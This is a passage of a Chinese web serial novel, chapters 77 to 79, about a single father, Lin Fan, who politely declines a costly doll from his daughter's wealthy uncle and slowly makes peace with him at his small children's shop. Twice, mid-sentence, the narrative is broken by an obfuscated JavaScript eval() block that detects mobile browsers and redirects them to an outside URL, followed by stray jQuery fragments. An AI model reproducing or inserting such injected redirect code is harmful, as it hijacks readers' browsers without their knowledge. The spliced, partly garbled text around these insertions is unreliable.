他坐在床边,拿起一本《小兔子的幸福家》给她讲睡前故事,故事里的小兔子和爸爸妈妈一起生活在森林里,每天一起采蘑菇、看星星,开开心心的。 故事讲到一半,笑笑突然伸出小手,搂住林凡的脖子,小脑袋靠在他的肩膀上,声音轻轻的,带着点依赖: “爸爸,明天还去公园滑滑梯好不好?还要和猛子叔叔一起玩小秋千,我还要把小熊也带去。” 林凡亲了亲笑笑的额头,额头软软的,带着刚洗完澡的暖意,他笑着点头,声音温柔得能滴出水来: “好,明天咱们还去滑滑梯,爸爸提前跟猛子叔叔说,让他也一起去。咱们再给笑笑买棉花糖,这次买草莓味的,好不好?” 笑笑听了,立刻闭上眼睛,嘴角还带着甜甜的笑,小呼吸慢慢变得均匀,很快就进入了梦乡,梦里说不定还在滑滑梯、吃棉花糖呢。 林凡坐在床边,看着女儿安静的睡颜,长长的睫毛像小扇子一样,盖在眼睑上,偶尔轻轻颤动一下。 他心里默默想着:不管苏瑾瑜那边有什么打算,不管以后会遇到多少困难,哪怕拼上自己的一切,他都会拼尽全力保护好笑笑,守护好他们父女俩的小幸福,守护好这家充满笑声的小店,守护住这份来之不易的温暖。 第77章:林凡与苏瑾瑜的礼物拉锯战 秋日的阳光透过“笑笑宝贝屋”的玻璃窗,在货架上叠得整整齐齐的纯棉童装和印着米老鼠、小猪佩奇的卡通文具上洒下暖融融的光斑,连空气中都飘着淡淡的薰衣草味洗衣液清香; 那是林凡特意选的,因为笑笑说闻着像“妈妈抱过的味道”。 4岁的笑笑正蹲在铺着蓝色小熊防滑垫的地板上,用肉乎乎的小胖手把一盒12色蜡笔排成“小火车”,红色蜡笔当车头,黄色蜡笔做车厢, 嘴里还哼着不成调的《小星星》,跑调的旋律却透着格外的可爱。 偶尔她会举起红色蜡笔,对着货架上坐姿歪歪的小熊玩偶“嘘”一声,小脑袋凑过去小声嘀咕:“熊熊你看,火车要开去月亮上啦,不能吵哦~” 突然,店门被推开,门口挂着的水晶风铃叮当作响,清脆的声音打破了店里的宁静。 一个穿着剪裁得体深灰色西装的男人走了进来,锃亮的黑色皮鞋在实木地板上敲出“嗒嗒嗒”的清脆声响,身后跟着拎着三个印着奢侈品logo的精致礼盒的助理—— 正是笑笑的亲舅舅苏瑾瑜。他刚走进来,就下意识地用手指理了理领带,目光快速扫过小店: 左边货架挂着59元一件的纯棉小裙子,右边货柜摆着10元三本的涂鸦本,墙角的小桌子上还放着笑笑喝剩的半杯牛奶,杯沿沾着一圈奶渍。 最后,他的目光落在了角落里玩得专注的笑笑身上,眼神瞬间柔和了几分。 林凡正在整理货架上的童装,把叠得有些歪的粉色小裙子重新对齐,手指轻轻抚平布料上的褶皱—— 这件裙子是笑笑昨天吵着要的,他看定价不贵,就留了一件给女儿。 抬头看到苏瑾瑜的瞬间,他手里的动作顿了顿,心猛地一沉,指尖的布料差点滑落在地。他最担心的事情还是来了—— 苏家总想用物质撬开孩子的心防。作为和笑笑相依为命的父亲,他清楚苏家这样人家的行事风格: 去年笑笑生日时,王猛就准备买个近百元的电动玩具车,那辆车比笑笑的小推车还大,他怕孩子养成依赖贵重玩具的习惯,婉拒时还特意解释“笑笑更喜欢自己拼积木”; 他知道,一旦笑笑收下第一份过于贵重的礼物,后面可能还会有更多:镶着水钻的公主裙、能讲故事的智能机器人、进口的昂贵零食…… 一步步让孩子依赖上好的苏家的物质供给,最后再顺理成章地提出要带走笑笑。他必须守住教育的底线,不能让这样的事情发生。 苏瑾瑜快步走向笑笑,助理连忙跟上,把手里最精致的那个印着卡通兔子图案的礼盒递给他。 他蹲下身,尽量让自己的语气温柔些,还特意放缓了语速,轻声对笑笑说:“笑笑,还记得舅舅吗? 上次来看过你,你举着画本说想要会眨眼睛的娃娃,舅舅特意托人从国外带回来的哦。” 说着,他小心翼翼地打开礼盒,一个穿着粉色蓬蓬裙、有着金色卷发的娃娃露了出来—— 娃娃的睫毛是**发丝做的,裙子上还缝着细小的珍珠装饰。 他轻轻捏了一下娃娃的手,它的眼睛就会随着动作轻轻眨动,还会发出软糯的“晚安,我的小宝贝”的声音,听起来格外精致。 笑笑的眼睛瞬间亮了起来,像两颗被点亮的小星星,原本耷拉着的嘴角一下子翘了起来。 她立刻放下手里的蜡笔,小跑到苏瑾瑜面前,小手伸到一半,又突然想起什么,脚步猛地顿住,小身子转了个圈,回头看向林凡,小脸上满是犹豫,手指还下意识地抠了抠衣角。 就在她的小手快要碰到娃娃柔软的绒毛时,林凡放下手里的童装,快步走过来,轻轻拉住笑笑的胳膊,轻声开口:“笑笑,爸爸昨天晚上怎么教你的? 不能随便要别人的东西,我们还拉过钩的呀,你忘了吗?” 笑笑的手僵在半空,指尖离娃娃的绒毛只有几厘米,能清楚地感受到绒毛的柔软。 她回头看了看林凡,爸爸的表情很严肃,眉头微微皱着,不像平时那样会笑着揉她的头发; 再看看那个漂亮的娃娃,娃娃眨着长长的睫毛,好像在对她笑,仿佛在说“快来抱抱我呀”。 她小嘴一瘪,眼里瞬间蓄满了泪水,泪珠在眼眶里打转,声音带着哽咽: “可是……娃娃会说晚安呀,笑笑晚上睡觉,小熊玩偶总‘不说话’,我好想让它陪我睡觉,这样我就不怕黑了……” 话虽这么说,她还是慢慢把手缩了回来,低下头,小手指绞着衣角,小声说: “谢谢啾啾……笑笑……不能要。” 她还不太会发“舅舅”的音,总是说成“啾啾”,带着孩子特有的软糯,听得人心里发疼。 苏瑾瑜脸上的笑容僵了一下,显然没料到林凡会这么直接地拒绝,连让孩子碰一下都不允许。 他站起身,拍了拍膝盖上不存在的灰尘,看向林凡,眼神里带着不解,还有一丝隐隐的不悦:“林先生,这只是我给外甥女的见面礼,没有别的意思。孩子喜欢,何必这么较真? 你看她多想要,眼睛都舍不得移开,让她收下又何妨? 我查过儿童心理资料,美国儿童教育协会说3-6岁孩子需要通过喜欢的玩具建立安全感,这对她的心理健康成长有好处,你总不能剥夺孩子建立安全感的机会吧?” “苏先生,” 林凡打断他,语气平静却带着不容置疑的坚定, “谢谢你的好意。但笑笑的玩具已经够多了—— 家里的小熊玩偶,是她3岁生日时王叔叔送的,现在每天睡觉都要抱着,连我出差带她去王奶奶家,她都要抱着小熊,说‘小熊会保护我’; 还有你上次没来时,王叔叔又送了她一只会动耳朵的小兔子,她能抱着小兔子玩一上午,连吃饭都要让人催好几遍才肯放下。” 他顿了顿,蹲下身,摸了摸笑笑的头,把她散落的刘海捋到耳后,继续说: “上个月幼儿园老师还特意和我沟通,说班里有个小朋友因为家里经常给买贵重玩具,养成了和同学攀比的习惯,别的小朋友玩几十块的积木, 他就说‘这是便宜货,我家的玩具都要几百块’,最后连小朋友都不愿意和他玩了,这不是我们想看到的。 小孩子不能养成见什么要什么的习惯,得让她知道,不是所有喜欢的东西都能得到,学会克制才是重要的。 而且这份礼物,我昨天在隔壁玩具店看到过,标价两百八十八块,对我们这样的普通家庭来说太贵重了,真的不能收。” 他特意加重了“我们”两个字,还轻轻握了握笑笑的小手,掌心的温度让笑笑稍微安心了些,想让她知道,爸爸和她是一起的,他们要一起守住约定。 笑笑似懂非懂地点点头,小脑袋靠在林凡腿上,小手紧紧攥着爸爸的裤子,小声说:“爸爸,我不想要了,我们回家玩小熊好不好?小熊也会听我讲故事的。” 苏瑾瑜深吸了一口气,胸口微微起伏,似乎在压抑心里的情绪。 他看了看揉着眼睛、可怜巴巴的笑笑,又看了看一脸坚决的林凡,最后无奈地笑了笑,把娃娃小心翼翼地放回盒子里,递给身后的助理: “好吧,是我考虑不周。尊重你的教育方式,毕竟你才是笑笑的爸爸,你更了解她。” 但他没有让助理把其他两个袋子拿走—— 那些袋子鼓鼓囊囊的,透过透明的包装袋,能隐约看到里面装着印着小花朵图案的童装和五颜六色的零食包装袋。 “林先生,这些是普通的衣服和吃的,不算贵重,” 苏瑾瑜拿起一个印着“娃娃乐”logo的袋子,语气比刚才放软了些,他走到货架旁,指了指上面挂着的同款浅蓝色童装, “你看,这衣服和你店里卖的牌子一模一样,就是最普通的纯棉款式,不含荧光剂,我刚才问了店员,笑笑穿100码正合适,特意挑了她喜欢的蓝色,因为她刚才玩的蜡笔里,蓝色用得最多。 还有这个袋子里的零食,是我从楼下超市买的,都是小孩子爱吃的牛奶饼干、水果糖,总共才花了三十多块,就是给孩子尝尝鲜,不算什么贵重东西,总不能连这点心意都拒绝吧?” 他还从袋子里拿出一小包印着小熊图案的牛奶饼干,撕开一个小口子,递到笑笑面前,“笑笑,这个饼干是牛奶味的,你闻闻,是不是很香?要不要尝一块?” 笑笑的鼻子动了动,闻到了饼干的香味,立刻抬起头,眼神里满是期待,小舌头还不自觉地舔了舔嘴唇。 林凡看着那些袋子,心里快速盘算着:如果再拒绝,就显得太不近人情了,反而可能让苏瑾瑜觉得他“油盐不进”,说不定后面会用更强硬的手段来介入孩子的生活,比如找律师谈抚养权; 但如果收下,又怕这是苏家“糖衣炮弹”的开始,一旦开了头,后面就很难拒绝了。 他沉吟了几秒,低头看了看身边还在抽鼻子的笑笑,女儿的眼睛里满是渴望,最终点了点头: “苏先生破费了。不过笑笑,零食只能每天吃一块,不能多吃,不然牙齿会疼,还要去看牙医,知道吗?吃完一定要刷牙。” 笑笑立刻抬起头,眼睛亮了起来,用力点头,小脑袋像拨浪鼓一样: 知道!笑笑每天只吃一块,吃完会自己去刷牙,用草莓味的牙膏!” 她对着苏瑾瑜鞠了个小小的躬,身子弯得像个小虾米,带着哭腔却又透着开心,小声说:“谢谢啾啾。” 苏瑾瑜看到她这副模样,心里软了下来,伸手想摸她的头,又怕林凡介意,手在半空停了几秒,最终只是笑了笑: “不客气,笑笑喜欢就好。以后舅舅有空,还来看你好不好?带你去公园玩滑梯。” 笑笑歪着头想了想,小手指放在下巴上,看了看林凡,见爸爸没反对,才小声说:“好。不过我要带着小熊一起去,小熊也喜欢玩滑梯。” 这时,王猛提着一个刚采购来的纸箱走进店里,纸箱上印着“儿童文具”的字样,外面还贴着快递单,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676795|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头上沾着细密的汗珠,T恤的领口都湿了一片。 看到苏瑾瑜,他愣了一下,随即笑着打招呼:“苏先生来了?这是给笑笑带的礼物啊?” 林凡接过王猛手里的纸箱,对他递了个眼神—— 那是他们平时约定好的“别多问”的信号,王猛立刻明白了意思,没再多说,只是把纸箱放在地上,蹲下来和笑笑聊天: “笑笑,看叔叔给你带了什么好东西?是你上次念叨的草莓橡皮哦。” 他从口袋里掏出一块粉色草莓形状的橡皮,递到笑笑面前,“闻闻看,是不是有草莓香?擦字可干净了,以后画画写错了,用它一擦就没啦。” 笑笑立刻被橡皮吸引了,伸手接过来,放在鼻子前使劲闻了闻,脸上露出了甜甜的笑容,刚才的委屈一下子就忘了,小声说: “谢谢王叔叔,好香呀!像真的草莓一样!”她还把橡皮举到苏瑾瑜面前,小胳膊伸得直直的:“啾啾,你看,草莓橡皮!红红的,还香香的!” 苏瑾瑜看着她开心的样子,也笑了,点点头说:“真好看,笑笑要好好保存哦,别弄丢了。” 王猛又从纸箱里拿出几张印着卡通动物的贴纸,递给笑笑:“这些贴纸也给你,可以贴在你的画本上,贴在小熊玩偶的衣服上也好看。” 他转头对苏瑾瑜说:“苏先生要是不忙,不如坐一会儿?我刚泡了菊花茶,加了点冰糖,清热解渴,正好尝尝,天这么热,你跑过来肯定渴了。” 苏瑾瑜看了看手表,指针指向下午三点,离他接下来的会议还有一个小时,笑着点头:“好啊,正好和林先生聊聊笑笑的事情,之前可能有些误会,趁这个机会说开也好。” 林凡把店里的小椅子搬过来,椅子上还铺着笑笑的小坐垫,让苏瑾瑜坐下,王猛则去里屋倒了三杯菊花茶,杯子是印着小猪佩奇的儿童杯—— 店里只有这种杯子。 笑笑坐在林凡身边,手里拿着草莓橡皮和贴纸,一会儿把贴纸贴在橡皮上,一会儿又拿给林凡看:“爸爸,你看,草莓变成小花了!我给它贴了黄色的小花贴纸,是不是很可爱?” 林凡笑着点点头,伸手刮了刮她的小鼻子:“真好看,笑笑手真巧,比爸爸贴得还好看。” 苏瑾瑜看着这一幕,心里有些触动,手指轻轻摩挲着杯沿,轻声说: “林先生,其实我这次来,也是想和你说,苏家不会强迫带走笑笑,我们知道你把她照顾得很好,上次我姐的朋友来店里,说看到笑笑每天都开开心心的,还会帮你整理文具。 我们只是希望能多看看她,给她一些关心,毕竟她也是苏家的孩子。之前可能用的方式不对,总想着用物质弥补,让你误会了,对不起。” 林凡端起菊花茶喝了一口,茶水带着淡淡的菊花香和甜味,轻声说: “苏先生,我明白你们的心意,毕竟血浓于水。 但笑笑还小,我不想让她在物质的比较中长大。 就像上次,她看到幼儿园小朋友穿名牌鞋子,回来问我‘爸爸,为什么他的鞋子上有大大的标志,我的没有’,我跟她说,鞋子只要舒服、合脚就好,不需要比谁的贵、谁的有名。 后来她自己也说,她的小熊鞋子跑起来最快,上次运动会还拿了跑步第一名,比小朋友的名牌鞋子还好用。” 苏瑾瑜点点头,若有所思地说: “你说得对,是我们之前太在意物质了,总觉得给孩子最好的就是对她好,却忘了孩子真正需要的是什么。 其实孩子需要的,更多是陪伴和关心,就像刚才,一块几块钱的橡皮,就能让她这么开心。 以后我来看笑笑,就不带这些贵重东西了,带些她喜欢的绘本,或者陪她玩一会儿积木、读读书,你看怎么样?” 林凡看着苏瑾瑜,露出了久违的笑容,之前的警惕也放下了一些: “好啊,笑笑很喜欢听故事,每天晚上都要我给她读绘本才能睡着。你要是有空,陪她读绘本,她肯定很开心,说不定还会给你讲她自己编的故事呢。” 笑笑听到“读绘本”,立刻抬起头,眼睛亮晶晶地看着苏瑾瑜,小手抓住他的衣角:“啾啾,你会读《小兔子乖乖》吗? 我最喜欢听这个故事了!里面的小兔子很勇敢,还会保护妈妈!” 苏瑾瑜笑着点头,伸手轻轻摸了摸她的头—— 这次林凡没有反对,他的动作很轻,怕弄乱笑笑的头发: “当然会,下次舅舅来,就给你带《小兔子乖乖》的绘本,还要带一本《小熊的故事》,好不好?我们可以一起读。” “好!”笑笑开心地拍起手来,小小的身影在阳光下蹦蹦跳跳,像一只快乐的小鸟,嘴里还哼起了《小兔子乖乖》的儿歌。 阳光透过窗户,照在几个人身上,温暖的光斑在地板上跳动,仿佛冲淡了刚才的一丝紧张,只剩下满满的温馨。 风铃偶尔叮当作响,和笑笑的笑声、几个人的聊天声交织在一起,构成了秋日里最温暖的画面。 第78章: 童装店里的温情时刻 苏瑾瑜紧绷了一路的嘴角终于有了一丝松动,原本沉郁的脸色也像被温水化开般渐渐缓和。 他没有立刻起身离开,目光缓缓扫过这家名为“笑笑宝贝屋”的小店—— 不足二十平米的空间被收拾得井井有条,货架上的童装严格按100码到140码的尺码顺序排列,左侧粉色系的女童裙装缀着蕾丝花边, 右侧蓝色系的男童外套绣着小恐龙图案,中间特意留出宽达八十厘米的通道,刚好能容下家长推着婴儿车从容走动。 最终,他的视线落在了角落里那把铺着碎花棉垫的小椅子上,棉垫边缘虽有些起球,却洗得泛着淡淡的皂角香,像晒过太阳的被子一样,透着一股让人安心的暖意。 “这椅子是笑笑2岁时总爱爬上去的,那时候她总踩着椅腿晃悠,我还特意在椅脚贴了防滑垫。” 林凡注意到他的目光,笑着递过来一杯冒着热气的温水,杯壁上印着小小的卡通熊,“刚烧开晾到四十度,您喝口水暖暖身子,外面风大。” 苏瑾瑜接过水杯,指尖触到温热的杯壁,一股暖意顺着指尖慢慢漫到心口。 他拉过那把小椅子坐下,目光不自觉地追随着林凡的动作,像是要把这一年里错过的画面都补回来。 此时林凡正弯腰整理刚到的“娃娃乐”童装,他的指尖轻轻捏着米白色的纯棉衣角,对着玻璃窗透进来的阳光仔细检查布料上有没有线头。 阳光里的浮尘轻轻舞动,他小心翼翼地将衣服展开、抚平褶皱,连领口处歪了一点的纽扣,都要左手轻轻扶着布料,右手慢慢转动纽扣,直到扣眼和纽扣严丝合缝地对齐成一条直线。 阳光透过玻璃窗洒在他身上,给那些色彩鲜亮的小裙子、小外套镀上了一层柔和的金边,连他鬓角新冒出来的几根白发,都像是被阳光染成了浅金色,显得格外温柔。 “笑笑,看看谁来啦?怎么见到舅舅不打招呼呀?” 王猛凑到柜台边,手里举着一块小熊造型的橡皮,故意捏着嗓子模仿小熊软糯的声音,“舅舅今天是不是忘了带小饼干?上次他可是答应要给我们笑笑带巧克力味的呢!” 原本还因为刚才苏瑾瑜严肃的表情有些怯生生的笑笑,听到“巧克力饼干”四个字,眼睛一下子亮了起来,紧绷的小肩膀也放松下来。 她从堆满彩色蜡笔的小桌子旁跑过来,小皮鞋在地板上敲出“哒哒”的轻响,仰着小脸看着苏瑾瑜,睫毛像小扇子一样忽闪: “舅舅,你是不是真的忘了带饼干呀?我昨天还跟王叔叔说,舅舅买的饼干比超市里的好吃一百倍呢!” 苏瑾瑜看着外甥女鼓得像小包子一样的脸颊,忍不住笑出了声,之前的严肃瞬间消散: “舅舅没忘,这不是刚从外地出差回来,行李都没放就先过来看看我们笑笑了嘛。” 他从黑色公文包里拿出一个印着小兔子的粉色小盒子,递到笑笑面前,“里面除了你爱吃的巧克力饼干,还有新出的草莓味,你尝尝看喜欢吗?” 笑笑接过盒子,手指轻轻抠开搭扣,先拿出一块草莓味的饼干递到林凡嘴边:“爸爸你先吃,这个闻着好香呀!” 又踮着脚尖拿出一块塞给王猛,最后才拿起一块小口咬着,嘴角沾了点粉色的饼干渣,像只偷吃到坚果的小松鼠,眼睛都眯成了月牙。 “舅舅,你快来看我画的画!”她拉着苏瑾瑜的手,把他带到小桌子旁,桌上铺着一张画纸,上面用红色蜡笔画了三个手拉手的小人,小人旁边还有一个涂得满满的圆圆的小太阳, “这个扎领带的是爸爸,这个戴帽子的是王叔叔,这个梳小辫子的是我,我们在太阳下面玩捉迷藏呢!” 苏瑾瑜蹲下身,看着画纸上歪歪扭扭却充满活力的图案,放在膝盖上的手悄悄松了松——他记得前两次来看笑笑时,孩子还因为怕生躲在林凡身后,连大声说话都不敢,现在却能这么大方地分享零食、主动展示画作。 “笑笑画得真好看,比舅舅小时候画得强多了,舅舅那时候连太阳都画不圆呢。” 他揉了揉笑笑柔软的头发,语气里满是欣慰,指尖触到孩子发间的温度,心里更是暖融融的。 “这家‘笑笑宝贝屋’,你经营得确实不错。” 苏瑾瑜直起身,喝了口温水,语气不像刚才进门时那样带着审视,反倒多了几分闲聊的随意, “我来之前特意绕到附近的阳光小区,问了住在3号楼的张阿姨,她说上次她孙子皮肤过敏,在商场买的化纤衣服穿一次就起红疹, 后来在你这儿买的‘娃娃乐’纯棉套装,洗了五六次都没褪色,孩子穿着也没再痒过,关键是价格还比商场便宜三成,比网上代购都划算。” 他顿了顿,指尖轻轻摩挲着杯壁,继续说道:“还有住在隔壁单元的李叔叔,他说他儿子特别调皮,总爱把文具摔在地上, 在别处买的铁皮铅笔盒用不了几天就变形,你这儿推荐的食品级塑料铅笔盒,他儿子摔了十几次都没裂,连边角都没磕坏。 还有你这儿的橡皮,都是无铅无毒的,他说有次看到孩子把橡皮放嘴里咬,赶紧抠出来,后来查了成分才放心,现在逢人就推荐你这家店。” 林凡正把整理好的童装一件一件挂到衣架上,听到这话动作顿了顿,有些意外苏瑾瑜会特意去打听这些小事。 他直起身,用手背擦了擦额角的薄汗,拿起一件蓝色的小外套走到笑笑身边,轻轻给她比划着: “你看这件衣服,袖口是弹力松紧的,孩子跑跳的时候不会往上缩,面料是新疆长绒棉,比普通棉花软和不少,贴身穿也不扎。 我和王猛每天早上五点就去批发市场,哪家的面料摸着舒服、哪家的做工针脚密,我们都摸得门儿清。 上次有个宝妈说孩子怕拉链夹到肉,穿不了拉链款,我们还特意联系厂家,订了几件按扣的外套,昨天刚到货。” “爸爸,上次那个说要奥特曼图案外套的小弟弟,他的衣服做好了吗?” 笑笑拉着林凡的衣角,小脑袋歪着,眼睛里满是好奇, “我上次还跟他说,奥特曼图案超级酷呢!” 林凡笑着点头,伸手轻轻捏了捏笑笑的脸颊: “当然记得,厂家昨天已经发货了,明天就能到,到时候我们一起给小弟弟送过去好不好? 顺便问问他喜不喜欢这个图案。” 笑笑用力点头,小脸上满是期待,小拳头还悄悄挥了挥,像是在为即将见到小弟弟而开心。 “稳定的生活……原来你已经给了笑笑这么多。” 苏瑾瑜低声重复了一遍,目光落在不远处的笑笑身上,她正拿着小熊橡皮在画纸上涂涂画画,时不时和王猛说几句话,笑声像银铃一样清脆,在小店里轻轻回荡。 “我来之前其实特别担心,姐姐现在不在身边,我总怕你一个人撑不起来—— 怕你们住的地方又小又暗,怕笑笑每天只能吃泡面,更怕她受了委屈没人疼。” 说到这里,他的声音轻了些,却带着前所未有的真诚,眼眶也悄悄红了: “但刚才进门的时候,我就看到笑笑手里拿着你刚给她买的草莓棒棒糖,看到我还会礼貌地说‘舅舅好’,刚才又笑得那么开心,我就知道,你把她照顾得很好。 再看看这店,货架上的每一件童装都标着详细的面料成分和洗涤说明,文具区还放着试写的纸张和铅笔,连收银台旁边的小盒子里都放着创可贴和婴儿湿巾,你想得还周到。” 林凡挠了挠头,有些不好意思地笑了笑,手指了指收银台旁边的小柜子: “都是些小事,上次有个小朋友在店里跑的时候不小心摔破了膝盖,哭个不停,我这儿有创可贴就能及时处理,孩子妈妈也不用着急跑出去买。 笑笑有时候在店里写作业会口渴,我就多备着几瓶儿童饮料,其他小朋友来了也能喝,都是不值钱的东西。” “爸爸,我昨天还帮一个找不到妈妈的妹妹呢!” 笑笑突然抬起头,骄傲地扬起下巴,小脸上满是自豪,“那个妹妹找不到妈妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683090|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在门口哭,我就把我的小兔子玩偶给她抱,还带她去找王叔叔帮忙,最后王叔叔给她妈妈打了电话,妈妈就找到她了!” 苏瑾瑜听着,心里更是温暖,他伸手摸了摸笑笑的头:“笑笑真勇敢,都会帮助别人了,比舅舅小时候厉害多了。” 他转头看向林凡,语气里满是感激,“我是真的很感激你,不仅把笑笑照顾得这么好,还把她教得这么善良懂事。” 这番话没有了之前的疏离和试探,让林凡紧绷了许久的神经稍稍放松。 但他心里清楚,苏瑾瑜作为笑笑的舅舅,不会就这么轻易放下对孩子的牵挂。 他拿起一件粉色的连衣裙,上面绣着小小的花朵,走到笑笑身边给她比划着:“下周笑笑幼儿园有亲子活动,穿这件裙子肯定好看,到时候爸爸陪你一起去。” 然后他转头看着苏瑾瑜,语气坚定:“我是笑笑的爸爸,不管以后遇到多少难事儿,就算是天塌下来,我都得把她平平安安、开开心心地养大,绝不会让她受一点委屈。” “爸爸……” 苏瑾瑜听到这两个字,嘴角勾起一抹复杂却温暖的笑。 他沉默了几秒,才缓缓开口:“林凡,我知道你有心意、有担当,但有时候,光靠这些不够。 就像去年冬天,隔壁街有家童装店,老板的孩子突然得了肺炎,住院一周就花了五万多,他本来就没多少积蓄,最后没办法只能把店转让了,连孩子的后续治疗费用都凑得艰难; 还有前阵子,街角那家文具店因为和供应商闹了矛盾,断货半个月,老顾客都跑到别的地方买了,最后生意越来越差,只能关门。” 他抬眼看向林凡,眼神里带着一丝不易察觉的担忧: “笑笑明年就要上小学了,学费、兴趣班的费用都不是小数目,万一她以后生病需要大笔钱,或者你遇到有人故意找你麻烦、欺负你们父女俩,仅凭你现在的能力,能保证她一直不受委屈吗?” 苏瑾瑜的话像一颗小石子,投进了林凡平静的心湖,让他心里泛起阵阵涟漪。 林凡刚想开口说些什么,却看到笑笑拿着刚画好的画纸跑过来,仰着小脸把画纸递到苏瑾瑜面前: “舅舅,你看我画的小太阳,爸爸说看到小太阳,所有不开心的事儿都会不见的!你刚才好像有点不开心,看看我的小太阳就好啦!” 苏瑾瑜低头看着画纸上用黄色蜡笔涂得满满的小太阳,阳光的边缘还画着一圈圈红色的光晕,像真的在发光一样,又看了看笑笑满是期待的眼神,原本想说的那些担心的话突然卡在了喉咙里。 他伸手轻轻摸了摸笑笑的头,声音不自觉地放柔,像是怕吓到眼前的小天使: “嗯,笑笑画的小太阳,是最亮、最好看的。有这么亮的小太阳在,舅舅就没有不开心的事儿了。” 笑笑听到这话,开心地跳了起来,小裙子也跟着轻轻晃动: “那我以后每天都画小太阳给舅舅看!”她拉着苏瑾瑜的手,轻轻摇了摇, “舅舅,你以后要常来呀,我让爸爸给你做你爱吃的红烧肉,爸爸做的红烧肉可香了,上次王叔叔吃了都夸好吃呢!” 苏瑾瑜看着外甥女天真的笑脸,又看了看一旁温柔笑着的林凡,心里最后一点顾虑也烟消云散。 他点了点头,语气里满是宠溺:“好,舅舅以后常来,等周末不忙的时候,还会带笑笑去游乐园玩好不好?咱们去坐旋转木马,还有笑笑最想玩的小火车。” “好耶!舅舅太好了!” 笑笑欢呼着扑进林凡怀里,双臂紧紧抱着林凡的脖子,“爸爸,舅舅要带我们去游乐园玩啦!我们可以一起坐旋转木马啦!” 林凡抱着女儿,抬头看向苏瑾瑜,两人相视一笑,之前所有的隔阂和试探,都在这温暖的笑容里烟消云散。 阳光透过玻璃窗,把三人的身影拉得长长的,映在满是童装的货架上,像一幅温馨的画。 苏瑾瑜突然又问道:“林凡,你真的不愿意相信我们苏家的真心吗的?” 第79章:爸爸和舅舅的较量 林凡的心又瞬间提了起来,指尖不自觉地攥紧了衣角,布料上因常年打理店铺沾染的细微棉絮被捏得有些发皱,连指关节都泛出了淡淡的白。 他迎上苏瑾瑜的目光,那眼神里没有丝毫退缩,反而多了几分如磐石般的坚定: “苏总,‘笑笑宝贝屋’现在虽然规模不大, 也就四十来平米,但您看,货架上的绘本都是我对照着《儿童发展心理学》《3-6岁儿童阅读指南》这些书单挑的。 就像那套《神奇校车》,里面涉及的天文、地理知识都是用孩子能理解的动画语言呈现,上周刚补了货,好多家长反馈说孩子读了之后,不仅爱上了阅读,还总追着问‘为什么火山会喷发’‘云朵是怎么形成的’。 前几天有个五岁的小男孩,以前连坐十分钟都静不下来,现在每天都拉着妈妈来店里读一本《神奇校车》,妈妈说孩子专注力都提高了不少。” 他手指又指向旁边的书架,语气愈发恳切:“还有那套《情绪小怪兽》,专门帮孩子认识自己的情绪。 有个宝妈跟我聊了半个多小时,说她家孩子之前总爱乱发脾气,玩具扔得满地都是,读了这本书后居然会主动说‘妈妈,我现在是红色的小怪兽,需要冷静一下’,现在还会自己把玩具收拾好。 为了选这些书,我每天关店后都要花两三个小时研究儿童阅读榜单,对比不同版本的内容,就怕选的书孩子不爱看,或者起不到引导作用。” 边说边指着货架,脚步不自觉地往前挪了挪,语气里满是对店铺的珍视:“毛绒玩具也都是选的A类母婴级面料,我特意查过检测报告,甲醛含量远低于国家标准,毕竟孩子的健康最重要。 之前有个做环保检测的家长,拿着专业检测仪来店里,测了好几个毛绒玩具,结果显示各项指标都合格,特别放心,后来成了常客,还介绍了七八个朋友来。 有次她带朋友来,还特意跟人家说‘这家店的玩具我测过,给孩子买着安心’,听到这话,我心里比啥都高兴。” 他顿了顿,又想起一件事:“我每天都在琢磨怎么把货选得更贴合孩子心意,怎么把服务做得更周到。 就像上次有个小朋友把小熊玩偶落在店里,那玩偶是孩子的安抚玩具,晚上睡觉都要抱着。家长晚上八点多急得给我打电话,声音都带着哭腔,说孩子找不到玩偶不肯睡觉。 我当时刚到家,饭还没来得及吃,立马拿着玩偶根据家长留的地址,下班后绕了三公里送过去。 到的时候孩子眼睛红红的,都快哭了,抱着玩偶立马就笑了,还跟我说‘叔叔谢谢你’,那一刻我觉得再累都值。” 他目光转向角落里的笑笑,眼神瞬间柔和下来,声音也放轻了些:“我会拼尽全力把店经营好,多攒些钱,不管以后遇到什么困难,我都会像一堵墙一样挡在笑笑前面,给她我能给的最好的生活。 她之前说想要个天文望远镜,我已经在攒钱了,等她再大一点,就买给她,让她看看天上的星星。” 苏瑾瑜闻言,指尖轻轻摩挲着茶杯边缘,骨瓷茶杯上精致的缠枝莲纹样在午后阳光下泛着柔和的光,他没有再继续这个略显沉重的话题。 他转头看向店里角落,目光落在正玩得不亦乐乎的笑笑身上—— 午后的阳光透过玻璃窗洒在笑笑身上,给她的小脸蛋镀上了一层暖金色,连她扎着的两个羊角辫上的粉***结,都像是沾了阳光的暖意,轻轻晃动着。 笑笑正蹲在铺着卡通地毯的地面上摆弄积木,地毯上印着的小兔子图案被她的小屁股压得微微变形。 刚才搭好的“小房子”被她小心翼翼地拆了,小眉头微微皱着,像是在思考新的搭建方案,小嘴巴还时不时嘟囔着: “这个房子不够高,爸爸住的房间要高高的,这样爸爸就能看到很远的地方。” 现在她正专注地搭着一个更大的造型,还时不时仰起头,拉着旁边的王猛一起参与: “王叔叔,王叔叔,你帮我递一下那个红色的积木好不好? 